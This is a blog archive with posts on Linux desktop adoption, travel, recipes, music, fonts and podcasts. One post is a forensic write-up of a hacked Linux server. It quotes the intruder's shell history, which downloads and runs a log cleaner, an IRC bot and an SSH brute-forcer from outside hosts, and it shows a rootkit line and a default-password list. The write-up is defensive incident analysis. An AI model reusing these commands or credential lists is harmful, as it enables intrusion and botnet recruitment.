OSDL Linux Client Survey Analysis is Out

On January 25th the OSDL released their 2006 Linux client survey analysis, which identified the following barriers for Linux deployment on desktops:

  1. Application availability
  2. Quality of peripheral support
  3. End user training
  4. Desktop management issue

It is not that applications don’t exist for the Linux desktop, but users grow accustomed to certain applications that they just can’t live without.

Users report they are missing applications as Microsoft Office (OpenOffice.org is the alternative), Adobe Photoshop (which has The Gimp as the closest, but still far alternative), AutoCAD (with QCad as a very far similar) and others.

For peripherals, this is the list:

  1. Printers
  2. Personal storage devices (i.e. USB memory)
  3. Scanners
  4. Digital cameras
  5. Mail and messaging devices
  6. Web cam / video
  7. Smartphones

However, it is still difficult to buy a printer at your local electronics store and expect it to work out of the box on a Linux machine. While most printers are supported on Linux, there is still a lag from the time when a printer hits the market to when the driver driver is available and automatically installed on your computer by a commercial distro update.

And as a Linux user, I must add that when the device works, it usually won’t work with its full set of capabilities, because drivers are usually written by third parties on the OSS world – and not by their manufacturers, which are expected to have a much deeper knowledge (and project commitment) on these hardware capabilities.

So the problem is a committed application and drivers development. Well, how can companies commit themselves to develop desktop software (which means friendly to non-technicall users) in a world that had not decided yet about some elementary standards? Yes, there is the FreeDesktop.org initiative but the standards they are focused on are more related to KDE-Gnome interoperability.

Most important standards that must be defined will find their home in a layer bellow: LSB. But unfortunately, the Linux Standard Base still has a big job to finish and still seems to have difficulties to catch up with ISVs.

As an example, there is no de facto standard defined for things as trivial as a configuration files format for the whole system, not only for desktop apps. This is particularly important because configurations are what makes software run in a specific way. They are the soul of any software (while code is the body). A popular standard for configurations will provide ways for any software to collaborate with, and auto-configure any other software. On Windows, this was successfully achieved with its registry. On Linux, similar but broader and better alternatives exist (as the Elektra Initiative), but this is a subject that seems to not inspire the OSS community.

Standards bodies can’t do everything alone. The community must be ready for changes, adaptations, and have courage to throw away code that was not choosed by the standard, and start focusing on what was selected to be part of it. Courage to stop reinventing the wheel. For example, on a vanilla KDE installation you will find about 4 different media players (Amarok, Juk, kboodle, noatun, etc) and 3 different plain editors (kate, kedit, kwriter). If you have Gnome installed on same system, add a few more to each class of applications (and to the icons that will appear on your menus). This is confusing, fat and bad.

Another important fact on the analysis is a 49% desktop share for Canonical’s Ubuntu Linux, against RHEL and SLED with 16% each. RHEL and SuSE are more popular on servers and are essentially and structurally different distributions, but both use RPM as their packaging system. While Ubuntu is radically different from both, based on Debian, with the DEB format for packages. A well known and well used packaging system is very important on a desktop world, because this is what guarantees an easy, painless software installations and upgrades. So if I am an ISV with limited technicall staff and time resources, how should I package my software for easy deployment? DEB or RPM? If RPM, should I focus on Red Hat or SuSE flavors? Though questions.

Application vendors cannot afford to develop, distribute, and support applications across a fragmented Linux market.

Red Hat and Novell should look at their future server market, paying attention on what is happening today on the desktop. History shows that people tend to bring to work (and to servers) what they like and use on their desktops at home. This is Ubuntu’s long term strategy and they seem to be succeeding, at least on their first phase.

Ponto de Luz

Queda d'água na pousadaDias atrás tirei umas férias curtas e resolvi conhecer o legendário Ponto de Luz, pousada zen na Serra da Mantiqueira, quase divisa entre São Paulo e Minas.

A viagem foi fácil, pela Rodovia Fernão Dias. Depois, uma bela estrada até Joanópolis e depois uns 19km de estrada de terra até a pousada. Este último trecho tem belas paisagens rurais de colinas, pomares e criação de gado. Há bastente gente morando ao longo da estrada. Havia muitas bifurcações e encruzilhadas, sempre sinalizadas com o caminho a se tomar para chegar a pousada. Saí às 11:00 de São Paulo e cheguei umas 13:30, prontinho para almoçar.

A pousada é propositadamente rústica-chique, como tantas outras por alí, em São Francisco Xavier, Gonçalves, Monteiro Lobato, etc. Como a região é montanhosa, é também cheia de rios, e a propriedade era cortada pelo Ribeirão da Vergem Escura (afluente da bacia do Rio Piracicaba) cujas pedras formavam um grande poço que convidava para um banho. Nos dias em que estive lá, a água estava um pouco barrenta por causa das chuvas, mas em outras épocas o rio tem águas cristalinas. Há um belo caminho aberto até o rio, e perto da margem colocaram uns assentos que serviam para nada além da pura contemplação da natureza.

Centro do Mapa
no mapa
Hotel Ponto de Luz

(interaja com o mapa)

Rede na varanda do quartoA grande sacada do arquiteto foi construir a pousada na encosta do morro. Isso funcionava bem para dar vista alta, de qualquer ponto da pousada, para o outro lado do rio e para colinas verdejantes e arborizadas. Inclusive do refeitório e da varanda dos quartos com sua rede de balanço.

E falando nisso, a comida era bem simples mas muito gostosa, essencialmente vegetariana, às vezes com uma opção de frango ou peixe. Sempre havia sobremesas dietéticas. O serviço era ótimo, atencioso, e a inclinação exotérica da pousada parecia plantar uma consciência holística nos funcionários.

Só o preço foi na minha opinião um pouco além da conta. R$204 pela diária, incluindo as 3 refeições mais o lanche da tarde. Por pessoa. Estou acostumado a viajar pela região e sei que os preços não são bem esses. Mas calculei que no valor há uma boa lapa de moda de turismo exotérico. Aí fiquei surpreso que no final ainda me convidaram a pagar 10% de taxa de serviço opcional que é dividida entre os funcionários no final do mês. Argumentei que a pousada como um todo já era um serviço, e que não fazia sentido uma taxa de serviço sobre um serviço que por sinal já estava bem pago. Acabei sucumbindo porque continuar a discussão ia ser constrangedor para a situação. Terminou mal explicado.

Havia uma agenda de atividades diárias, com caminhada leve de manhã, algum tipo de hidroginástica antes do almoço e meditação no fim do dia, logo depois do lanche da tarde. Experimentei lá, pela primeira vez, a meditação dinâmica, especialmente desenhada para pessoas estressadas da cidade grande, como eu. Bem legal. Mas, como toda meditação, exige disciplina para se fazer todos os dias. No segundo dia meditamos num pequeno templo charmoso, construido a toque de caixa para a visita de um guru indiano.

TerapiasDepois da meditação dava um pulo na piscina aquecida onde ficava de molho até a noite. O clima não estava convidativo para a piscina aberta e fria. O resto do tempo passava na rede da varanda do quarto, lendo, ouvindo música e observando as colinas tranqüilamente. Ou dava uma olhada na lojinha anexa, cheia de coisas no melhor estilo “além-da-lenda” (a coleção de CDs para vender era ótima, e levei alguns títulos). Ou ainda pode-se fazer uma das terapias e massagens disponíveis em seu cardápio de serviços, cobrados a parte, claro. Nos finais de semana parece que há palestras e atividades musicais, mas infelizmente não pude ficar para ver.

O pessoal da pousada conta que há hóspedes que reclamam que não há “nada” para fazer lá, nem telefone, nem TV, e acabam fugindo de volta para sua cidade agitada.

Bem, eu não sofro desse mal e ficaria lá pelo tempo que fosse, porque o Ponto de Luz é um lugar de paz contemplativa.

Receita de Quiabo Atomatado

Quiabos

Ingredientes

  • ½ kilo de quiabo, de preferência os menores
  • 2 latas de tomates inteiros despelados
  • ½ cebola picada
  • Azeite extra virgem
  • 2 pitadas de páprica picante (opcional)
  • Adoçante ou açucar
  • Sal a gosto

Modo de Preparo

  1. Limpe os quiabos removendo com uma faca a parte externa escura da circunferência de sua cabeça, mas não remova a cabeça inteira. Lave e deixe escorrer.
  2. Pique um pouco os tomates mas deixe pedaços para contarem a história.
  3. Refogue a cebola em um pouco de azeite e acrescente o purê de tomate.
  4. Adicione o quiabo, cortando os maiores no meio já sobre a panela.
  5. Adicione sal a gosto, a páprica picante, e umas 10 gotas de adoçante ou o equivalente em açucar.
  6. Adicione 2 dedos de água e misture bem. Cozinhe em fogo baixo, com a panela tampada por 15 minutos.
  7. Destampe, continue mexendo com fogo baixo por mais uns 15 minutos, até o tomate reduzir (secar) ao ponto de não sobrar molho mas só pedaços molhados de tomate.

A páprica picante combina muito bem com o leve sabor adocicado fortalecido pelo tomate. E o quiabo…. ah, o quiabo….

Sirva frio ou quente.

Na Trilha do Invasor

Qualquer administrador de firewall pode observar em seus registros que uma máquina conectada à Internet não fica um minuto sequer, 24 horas por dia, livre de tentativas de invasão. Tem sempre alguém fazendo uma varredura, tentando algum tipo estranho de conexão, requisitando URLs inseguras aos servidores web, enfim, batendo na porta. Parece que as pessoas têm se protegido bem já que não lembro de ter ouvido histórias detalhadas sobre um ataque efetivamente acontecendo.

Tive a oportunidade de analisar um computador que foi invadido e vou relatar aqui as evidências que os crackers deixaram para trás, como as descobrimos, e o que lhes interessava naquela máquina. Vou usar nomes fictícios e mascarar alguns IPs para resguardar a privacidade de todos.

Vamos chamar os invasores de crackers, porque hackers somos todos nós que respiramos tecnologia, “fuçadores” (tradução da palavra hacker), exploradores, pessoas curiosas. Somos todos hackers porque usamos nossas mentes poderosas para resolver problemas, ganhar dinheiro licitamente, enfim, fazer o bem. Um cracker por outro lado, usa seu conhecimento para invadir, deteriorar, tirar vantagem, e dar trabalho aos hackers administradores de redes. Um cracker é um mau hacker, e um bom hacker pode impedir a ação de um cracker.

Os Rastros Deixados pelo Cracker

O servidor em questão era uma máquina de testes internos na empresa A, que em determinado momento foi deslocada para um novo teste conectada à Internet, sem uma reinstalação. Tudo começou quando, poucas semanas após estar conectada à Internet, uma empresa que chamaremos de B, enviou um e-mail para P (provedor do link físico para a máquina atacada) informando que detectou uma tentativa de ataque, e requisitou um retorno. P encaminhou o e-mail para A, e esse continha alguns logs com a prova da tentativa de invasão:

Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:26:27 sshd[PID]: refused connect from  IP.IP.IP.IP

Eles mostravam que o IDS (Intrusion Detection System) de B acusou que a máquina atacada (cujo endereço IP está representado por IP.IP.IP.IP) tentou se logar várias vezes sem sucesso em seu serviço SSH (sshd). Reparem que o instante de todas as tentativas, até os segundos, é o mesmo, o que leva a crer que não é um ser humano, e sim algum software que muito rapidamente está testando várias combinações de usuário e senha ao mesmo tempo.

Histórico do Ataque

Fui chamado para dar explicações porque havia fornecido informalmente por telefone algumas dicas de como proteger a máquina. Primeiramente, era necessário dar subsídios ao provedor P para responder ao e-mail de B, dando uma satisfação formal. Isso é uma atitude de responsabilidade de um bom administrador de rede, e demonstra a preocupação em manter o nível de serviço da Internet o mais alto possível.

A máquina foi colocada em quarentena, desligada da Internet e começamos a analisá-la. Tratava-se de um Red Hat Enterprise Linux 3 Update 5. Não estou dizendo que o Red Hat Linux é menos ou mais seguro. Isso não é muito intuitivo de se entender, mas segurança não tem quase nada a ver com o software. Segurança não é um firewall, não é criptografia, nem um conjunto de produtos que tem proteção como objetivo. Segurança é um processo que deve ser seguido conscientemente por administradores de redes. Se um ataque acontece, toda a responsabilidade é do administrador, e não do sistema operacional, seja ele qual for, e do fabricante que for. O administrador precisava agora descobrir como o cracker invadiu para, corajosamente, assumir a falha e não permitir que isso aconteça novamente.

Logo no boot da máquina observamos consecutivas mensagens estranhas que não deviam estar lá e que continham o texto “(swap)”. Começamos a analisar o processo de inicialização do sistema, a partir do arquivo /etc/inittab. Vimos que um dos primeiros scripts que são executados no sistema é o /etc/init.d/functions e fizemos os seguintes testes:

bash$ rpm -qf /etc/init.d/functions
initscripts-7.93.20.EL
bash$ rpm -V initscripts
S.5....T c /etc/rc.d/init.d/functions

Verificamos que este arquivo faz parte (rpm -qf) do pacote initscripts, e em seguida testamos sua integridade (rpm -V). Descobrimos que o arquivo foi alterado: o número 5 significa que o MD5 do arquivo mudou, ou, em outras palavras, que o conteúdo do arquivo mudou. O RPM sabe disso comparando o MD5 do arquivo atual no disco, com o MD5 registrado em seu banco de dados no momento da instalação do pacote.

Mas o que foi alterado no script functions ?

A última linha do script era esta:

/usr/bin/crontabs -t1 -X53 -p

Suspeitamos imediatamente porque o comando crontab não se chama “crontabs”. Confirmamos novamente com o RPM:

bash$ rpm -qf /usr/bin/crontabs
o ficheiro /usr/bin/crontabs não pertence a nenhum pacote

Pronto. Estava constatado que esse tal comando crontabs era alienígena e não deveria estar ali. Foi, com certeza, implantado pelo cracker. Mas não paramos aqui. Queríamos saber o que este programa fazia. Como era um binário, tentamos extrair algumas strings dele:

bash$ strings /usr/bin/crontabs
[...]
"smbd -D"
"(swapd)" &
[...]

Ou seja, era este tal crontabs que mandava para a tela as mensagens com a string “(swap)”. Mas descobrimos outra coisa: o alienígena continha também a string “smbd -D”, que se parece com o nome do serviço do Samba. Nem perdemos tempo usando os comandos ps e top para verificar se um processo chamado smbd estava rodando porque usamos os mesmos rpm -qf e rpm -V para constatar que estes programas também foram modificados pelo cracker. Usamos o utilitário gráfico ksysguard (que não foi modificado) do KDE e pudemos observar um tal processo smbd -D rodando. Chamou a atenção que o ksysguard mostrava todos os processos executando sem seus parâmetros, e somente o smbd apresentava um parâmetro. Não tardou a acharmos um arquivo chamado “/usr/bin/smbd -D” (com espaço e parâmetro mesmo), e o RPM novamente nos informou que ele não fazia parte de nenhum pacote. Tratava-se de outro programa do cracker. Fomos lá tentar extrair mais algumas informações sobre este programa:

bash$ strings “/usr/bin/smbd -D"
[...]
Received SIGHUP; restarting.
Generating new %d bit RSA key.
RSA key generation complete.
   -b bits    Size of server RSA key (default: 768 bits)
By-ICE_4_All ( Hackers Not Allowed! )
SSH-%d.%d-%.50s
This server does not support your new ssh version.
Sent %d bit public key and %d bit host key.
sshd version %.100s [%.100s]
[...]

Omitimos diversas linhas para ser mais didático. A linha vermelha eliminou qualquer dúvida se um cracker havia visitado a máquina ou não. Mas o mais interessante são as linhas azuis, que levaram a crer que o famigerado programa smbd -D era um servidor SSH. O cracker deveria querer isso para manter um backdoor aberto, e poder logar com SSH quando quisesse. Em /var/log/messages encontramos a evidência final:

Feb  19 19:24:49 localhost smbd -D: RSA1 key generation succeeded
Feb  19 19:24:50 localhost smbd -D: RSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D: DSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D:  succeeded

Essas são mensagens típicas de um daemon SSH sendo executado pela primeira vez, quando cria suas chaves únicas de criptografia, só que bizarramente emitidas por um suposto programa com nome de Samba, o que não faz sentido algum e é forte indício que há algo errado no sistema. Ou seja, o cracker implantou um backdoor SSH, porém com um nome mascarado para seu arquivo e processo (smbd). A partir desses registros pudemos também estimar a data em que a máquina foi atacada: 19 de fevereiro.

Para o cracker poder alterar arquivos e comandos tão importantes do sistema, ele deve ter conseguido acesso de root, e por isso fomos espiar o histórico de comandos executados por este usuário no arquivo /root/.bash_history, e vimos isto:

bash# less /root/.bash_history
[...]
cd /usr/share/.a
wget lamisto.octopis.com/mig.tgz
tar xzvf mig.tgz
./mig g-u root -n 0
./mig -u root -n 0
cd /usr/share/.a
wget utilservices.iasi.rdsnet.ro/~marianu/flo.tgz
tar xzvf flo.tgz...linhas omitidas...
cd /var/tmp
wget djanda.com/get/usr.tar.gz
wget djanda.com/get/x.tar.gz
tar xfvz usr.tar.gz
cd usr
chmod +rwxrwxrwx *
./crond
cd ..
tar xfvz x.tar.gz
cd x
chmod +rwxrwxrwx *
mv unix x
./x 201.20; ./x 201.21; ./x 201.22; ./x 201.23; ./x 201.24; ./x 201.25; ./x 201. 26; ./x 201.27; ./x 201.28; ./x 201.29; ./x 201.30; ./x 201.31; ./x 201.32; ./x 201.33; ./x 201.34; ./x 201.35; ./x 201.36; ./x 201.37; ./x 201.38; ./x 201.39; ./x 201.40; ./x 201.41; ./x 201.42; ./x 201.43; ./x 201.44; ./x 201.45; ./x 201. 46; ./x 201.47; ./x 201.48; ./x 201.49; ./x 201.50
[...]
/usr/sbin/adduser scanning

O formato do arquivo não permite saber quando esses comandos foram executados, mas fica evidente que o cracker criou um usuário chamado scanning, baixou arquivos de certos sites, abriu-os e executou comandos que vieram com eles. Analisamos cada um, e descobrimos que:

  • No diretório /usr/share/.a ele instalou e executou o tal comando mig que aparentemente é um limpador de histórico de login do sistema. Usamos o mesmo comando strings para analisar esse binário. Isso confirmou nossa estimativa da data de ataque pois o comando last (usado para verificar esse histórico) apontou dados inconsistentes por volta de 19 de fevereiro.
  • Em /var/tmp foi baixado um tal usr.tar.gz, que aparentemente é um bot de IRC. Mais tarde, com os mesmos comandos do RPM, descobrimos que o comando /bin/netstat também foi alterado, provavelmente para esconder as conexões deste bot a diversos servidores de IRC na porta padrão 6667, o que constatamos com o ksysguard. Adiante explicaremos o que um cracker faz com isso.

Mas o mais interessante foi o x.tar.gz baixado. Continha dois executáveis chamados find e take, o script chamado simplesmente de x, e um arquivo muito especial de nome code.conf. Lendo o simplíssimo script x, vendo no histórico como ele era executado muitas vezes, e usando a intuição, ficou claro que o comando find varria faixas IP inteiras em busca de portas 22 (SSH) abertas. Os hosts encontrados eram então passados para o comando take, que se encarregava de usar as 18459 combinações de usuário e senha disponíveis no arquivo code.conf para tentar se logar nas máquinas encontradas. Um login bem sucedido tinha o IP, usuário e senha registrados num arquivo que indicaria ao cracker as próximas máquinas a invadir. E sim, este arquivo já tinha uma lista de hosts e respectivas senhas em que essas ferramentas conseguiram penetrar.

Foi exatamente esse procedimento de login por força bruta que foi detectado pelo IDS da empresa B, quando o servidor deles tentou ser invadido sem sucesso.

Quando chegamos a isso, ainda não estava claro como a máquina de A foi invadida. Estava checando se e como os administradores da máquina seguiram meus conselhos informais de segurança, verificando as regras de iptables, serviços ativos, etc. Parecia tudo correto, ou não alarmantemente errado. Foi quando demos uma olhada com mais atenção no conteúdo do code.conf e entre suas mais de 18 mil linhas encontramos estas:

root passw0rd
root pa55word
root pa55w0rd
sapdb sapdb
apache apache
apache 123456
apache2 apache
apache2 apache2
apache2 apache123

Enquanto varríamos o arquivo com os olhos, de repente o administrador da máquina colocou a mão na testa, e com voz de lamento nos contou que a senha de root era a manjadíssima passw0rd (com um algarismo zero no lugar da letra ‘o’)! O serviço SSH estava aberto e permitia login do root pela rede. Aquela máquina também tinha sido vítima do scan do cracker, e foi assim que ele entrou e ganhou poder total.

Eu conhecia várias máquinas formais e informais que implementaram aquele mesmo esquema de segurança que foi sugerido, estavam anos conectadas à Internet, e nunca sofreram ataques. Mas uma simples senha conhecida, bem típica de ambientes de testes onde várias pessoas compartilham acessos similares e informais às máquinas, foi o calcanhar de Aquiles da pilha de segurança. Isso confirma que ataques bem sucedidos são sempre responsabilidade do administrador, e nunca do software de segurança em especial.

A Reinstalação da Máquina

Depois de um ataque como esse, e depois do relatório conclusivo, a melhor coisa é limpar completamente o disco e partir para uma reinstalação completa. Desta vez acompanhei de perto a instalação, e seguimos algumas regras simples de segurança:

  • Só instalamos pacotes que sabíamos que seriam usados. Descartamos completamente a idéia de fazer uma instalação completa.
  • Depois de instalado, desligamos alguns serviços que sabíamos que não seriam usados, como NIS, Samba, Portmap, NFS. E se possível os desinstalávamos.
  • Criamos regras para o iptables fechando praticamente tudo menos as portas 80 (HTTP) e 443 (HTTPS).
  • Requisitamos ao provedor do link P que configurasse regras semelhante em seu roteador, formando um firewall duplo.
  • Por via das dúvidas, desabilitamos o acesso por SSH ao root, obrigando o administrador a se logar com um usuário qualquer e depois ganhar privilégios com o comando su. Isso funciona como uma restrição dupla para administrar a máquina.
  • E dessa vez foram usadas senhas decentes, bem difíceis, com letras, números, e que não eram derivadas de palavras óbvias.
  • As senhas só foram informadas verbalmente para poucas pessoas. Evitamos passar por e-mail.

Por que o Cracker Ataca ?

Uma coisa que vale explicar é o bot de IRC. Ele serve para fazer ataques de DDoS (Distributed Denial of Service). Um bot fica constantemente conectado a uma sala de IRC pré-definida. Depois de invadir várias máquinas e ativar os respectivos bots, o cracker entra nessa sala de IRC e tem ao seu dispor um exército de bots distribuídos programados para executar ações ao seu comando. O DDoS acontece quando o cracker, via comandos aos bots na sala de IRC, faz os computadores invadidos enviarem simultaneamente grandes pacotes de dados para algum site-vítima, escolhido pelo cracker. Naquele momento, o link do site-vítima fica sobrecarregado, e a sensação é que ele está fora do ar. Isso pode durar o tempo que o cracker desejar.
Ataque Distributed Denial of Service

Esse processo foi ricamente detalhado pelo dono de um desses site-vítima, em grc.com/dos/grcdos.htm, e é leitura obrigatória a qualquer um que se interessa por segurança.

Em todas as análises que fizemos, não encontramos nada de útil no ataque do cracker. A máquina estava conectada a outras redes, mas não pareciam interessá-lo. A única conclusão que pudemos chegar é que o cracker ataca por atacar, e depois usa seu ataque para atacar mais. Só. Simplesmente isso. Sim, porque as ferramentas, técnicas e rastros deixados mostram que ele provavelmente usou ferramentas criadas por outros, talvez seguindo uma documentação que mostra os comandos prontos, passo a passo. Sem saber direito o que estava fazendo. Sem objetivos “mitnickianos”, nem financeiros, nem algo que o exaltasse perante outros crackers.

Só Freud explica…

Como Enganar Seus Sentidos

  1. Arrume 3 bacias ou 3 recipientes em que caibam suas mãos
  2. Coloque água gelada numa, água quente (mas não pelando) em outra, e água normal na terceira
  3. Mergulhe a mão esquerda na de água gelada e a direita na quente, e espere 30 segundos
  4. Tire e mergulhe as duas mãos juntas na terceira bacia e somente usando seus sentidos diga se ela está quente ou fria
  5. Preste atenção na temperatura que cada mão sente

Crianças adoram esta experiência.

Para os adultos, esta experiência tem uma “moral da estória” que depois eu conto.

Viola and Rabeca

The brazilian Viola Caipira has nothing to do with the orchestral Viola, used mostly in classical performances. It was brought to Brazil by the first portuguese people, and modified and evolved, making it almost a genuine, Brazilian-only instrument now.

It is used mostly on country-side small cities or farm regions of Brazil. And songs played with Viola Caipira sound like these places: home-made food, green landscapes, country life.

Almir Sater is a well known violeiro that used to be more active with the viola, and as an example, one of its beautiful compositions, Luzeiro, was used to open an old TV show focused on farming.

ViolaThere are other excellent violeiros, as Paulo Freire [blog], Roberto Correa, Ivan Vilela, Braz da Viola and many others. Levi Ramiro is one of my favorites, with its Estiva Grande.

Songs played with Viola use to be accompanied by a Rabeca, a sort of simplified violin. Luis Eduardo Gramani was one of our masters in Rabeca compositions, writing beautiful songs as Deodora.

Do not forget to right click on each song link to download the hi-fi MP3 file.

O Carroceiro e o Fauno

Carroceiro no Conjunto NacionalOntem fui ao cinema assistir O Labirinto do Fauno.

Mas não vim falar sobre isso, e sim sobre a escultura gigantêsca, muito bem feita, realista e impressionante de um carroceiro descansando, sua carroça cheia de tralhas e seu cão, que plantaram bem no meio da galeria do Conjunto Nacional. Parece que a obra chama-se O Fazedor de Montanhas de Silvio Galvão.

Paulistanos, não percam. Vá até lá descobrir o que ele está segurando em sua mão esquerda, e não contente-se com esta foto.

Ah, e o filme é bem bom também. Pesado, mas bom. Vale a pena.

Freetype with Bytecode Interpreter

I am the maintainer and writer of most of the official Linux Font-HOWTO [official home], and one of its main points is to explain what is the TrueType Bytecode Interpreter.

I spent some time this morning updating the freetype package on my system [get RPMs], compiling it with support to BCI, and I took the chance to get some “before & after” screenshots of Konqueror browser accessing Google Mail with and without BCI.

Check it out. This is better than makeup ads:

Before: Original Freetype lib without BCI After: New Freetype RPM compiled with BCI
freetype4-nbci.png freetype4-bci.png
freetype1-nbci.png freetype1-bciaa.png freetype1-bci.png
freetype2-nbci.png freetype2-bciaa.png freetype2-bci.png
freetype3-nbci.png freetype3-bciaa.png freetype3-bci.png

After switching to BCI-enabled freetype, the use of Webcore fonts without anti-aliasing gives much much much better results, as you can see. Unfortunately these fonts are not free, but they are better than the popular Bitstream Vera fonts because they include hinting information.

BTW, anti-aliasing is useful in 2 situations only: if you are rendering fonts in big sizes (bigger than 13px), or if you have bad, non-hinted fonts (as Bitstream Vera) with a bad font rendering library (as Freetype without BCI support). If you have good hinted fonts and a good rendering library (as Freetype with BCI), restrict anti-alising only for big font sizes.

My Podcasts

A podcast is a blog that, in addition to text, also publishes media files. So you need a special “reader” to listen them, so people use softwares like iTunes, Amarok, iPodder to subscribe and automatically get the media.

I’m officially releasing my podcasts here, posting songs in high quality MP3 format. These are the channels, subscribe using the orange buttons below:

Enjoy.

Parafuso

Parafuso is an instrumental masterpiece by brazilian Ronen Altman, played by the Orquestra Popular de Câmara.

OPC sort of brought a globalization conscience to brazilian instrumental music, mixing together a great number of instruments and musical styles. They are in evidence in the innovative tradition of brazilian jazz from São Paulo.

If this song was a building, it would look like modern architecture: functional, beautiful, strong and light.

Enjoy.

Receita de “Apio”

Esta receita chama-se Apio porque é assim que os búlgaros — prováveis inventores do preparo — a chamam, e por falta de um nome melhor. É um prato delicioso, fácil de fazer, leve, refrescante, e quem prova quer a receita.

Apio é aipo em ladino, espanhol etc. Aipo é a raiz do salsão, também conhecido como celery. É preciso um pouco de insistência para achá-lo nas feiras do Brasil.

Há dois tipos de salsão: o branco americano, e o mais escuro (com raiz ainda branca). É deste último que se aproveita os melhores aromas, e cujas folhas e caule emprestam mais sabor a molhos etc. O salsão branco quase não tem gosto, e dele não se usa a raiz.

Ingredientes

  • 3 raizes de aipo
  • 4 ou 5 cenouras médias
  • suco de 1 limão
  • 2 colheres de sopa de azeite virgem
  • Adoçante ou açúcar
  • Sal a gosto
  • Água

Modo de Preparo

  1. Descasque as raizes de aipo. Se você encontrar lesmas no meio, por favor remova-as se você for me convidar para jantar.
  2. Lave as raizes descascadas, fatie com meio centímetro de grossura ou menos, e corte no meio as fatias grandes. Vá juntando num recipiente com água para ajudar a não escurecer.
  3. Descasque as cenouras, fatie e junte para cozinhar numa panela grande com o azeite já quente. Vá mexendo.
  4. Escorra e junte o aipo fatiado nas cenouras que já devem estar meio cozidas.
  5. Misture bem adicionando 2 copos de água.
  6. Deixe ferver por uns 15 minutos em fogo baixo.
  7. Adicione sal a gosto, adoçante (umas 20 gotas ou o equivalente em açúcar) e o suco de limão. É importante ficar levemente doce.
  8. Deixe cozinhar por mais uns 5 minutos, até diminuir bastante a água, mas não completamente.
  9. Teste a dureza do aipo e cenoura para ver se estão prontos. Se precisar de mais tempo, garanta que há sempre um dedo de água no fundo da panela.

A cenoura tem duas missões nesta receita: emprestar sua cor vibrante ao prato e tomar emprestado o aroma delicado e exótico da raiz de aipo.

Sirva frio, possivelmente como uma deliciosa entrada. Isto é uma rara iguaria.

Sobre Podcast

Uma vez perguntei a um amigo o que é um podcast, e ele disse que é um MP3. Bem, isso é tão minimalista quanto dizer que um Gaudí é um amontoado de tijolos, ou que a Internet é uma porção de bits dançantes.

Um podcast é um blog não-textual. Seu conteúdo pode ser audio e/ou vídeo, rodeado por metainformações do tipo “autor”, “entrevistado”, “banda”, “estilo”, “sumário” etc.

Como todo blog, ele tem regularidade: “episódios” no lugar de posts e assim por diante.

Você “assina” um podcast como assina uma revista, da mesma forma como assina um blog (via RSS ou ATOM). Mas como um browser é um leitor essencialmente textual, é mais comum e prático assinar podcasts usando softwares de mídia: iTunes, Yahoo! Music Engine, Amarok, etc.

Na convergência das coisas, um podcast pode ser comparado a um programa de rádio onde o próprio ouvinte decide quando e como vai ouvi-lo.

Num mundo onde tivermos banda larga no ar tão abundante e livre quanto ondas de rádio, além da memória para freqüências de estações, os rádios de nossos carros terão também a assinatura de nossos podcasts preferidos. Com ainda não chegamos a isso, temos que usar MP3 players modernos como o iPod – que tratam podcasts de forma especial – para termos essa funcionalidade.

E nesse mundo, os podcasters seremos você e eu, pessoas comuns falando diretamente para o mundo. Publicar um podcast é tão simples quanto publicar posts num blog. É inclusive algo que se pode integrar com plataformas de blogs comuns, com plugins para WordPress, etc.

Se você tem um fluxo de coisas para dizer, crie um podcast. Se você tem um fluxo de coisas para serem assistidas, crie um podcast. Se você tem um fluxo de coisas que quer que as pessoas ouçam, crie um podcast. Este último é o meu caso, sobre Jazz Brasileiro, e por isso estou juntando os pedaços e os módulos para criar um.

Andei estudando isso ultimamente, e achei importante compartilhar…

HD de 1 Terabyte, para quem ?

Vão anunciar o HD de 1 Terabyte.

Tempos atrás, fiz um estudo sobre clusters de alta disponibilidade e a certa altura levantei o sizing real de storage de aplicações de servidor. O resultado está aqui:

Sizing

Adicionando a essa lista, lembro quando a DBA de um grande e famoso supermercado online me chamou para mostrar que a RAM do servidor do DB (1.5GB) era maior que o próprio DB (1GB), que incluia lista de todos os produtos, todos os clientes, todos os carrinhos que já passaram por lá, e tabelas de controle.

Instalações oversized é algo muito comum hoje em dia porque arquitetos costumam usar sua sensibilidade de uso de desktop ao definir RAM, storage, CPU etc de um servidor.

Bem, saibam que desktop é uma das coisas que mais exige RAM, disco (em velocidade e tamanho) e CPU, porque é onde o usuário é mais sensível a atrasos no tempo de resposta (a famosa ampulheta), e tem sempre muita multimídia para aramazenar e tocar.

Aplicações de server são em geral muito mais leves, salvo algumas poucas exceções.

Um HD de 1 terabyte, hoje, faz muito mais sentido para uso pessoal do que em server. Mas é a tendência natural das coisas, e não vamos puxar o freio de mão para esse crescimento (e barateamento), não é mesmo !?

Open Source na Prática

O primeiro a propor a idéia de Open Source Software (OSS) foi Richard Stallman na década de 1970, que a formalizou, com a ajuda de alguns advogados, na famosa licença GPL.

Ninguém se interessou ou sequer ouviu falar sobre isso, até que em meados da década de 1990, tudo mudou com a vertiginosa popularização do Linux, sistema operacional OSS.

O termo popular “Software Livre” não é a melhor tradução de Open Source Software, cujo correto é Software de Código Fonte Aberto. É importante notar isso porque muitas vezes o termo é erradamente associado a idéia de não-proprietário, ou não-comercial. A verdade é que um software pode ter seu código fonte aberto mas ser comercial e/ou proprietário e vice-versa, portanto são conceitos que não devem ser confundidos.

A idéia é simples: eu escrevo um programa e você pode copiá-lo à vontade sem nem sequer me notificar. Pode inclusive modificá-lo e redistribuí-lo, contanto que também mantenha suas modificações abertas e informe qual a origem e os autores anteriores do software.

Isso não quer dizer que teremos diversas versões desconexas do mesmo software, num dado momento. Cada modificação passa por um processo muito bem organizado de aceitação ou rejeite, onde boas melhorias retornam à base e são incorporadas à nova versão do software. Na verdade, hoje, a maioria dessas contribuições não é mais feita por indivíduos, mas por empresas de tecnologia.

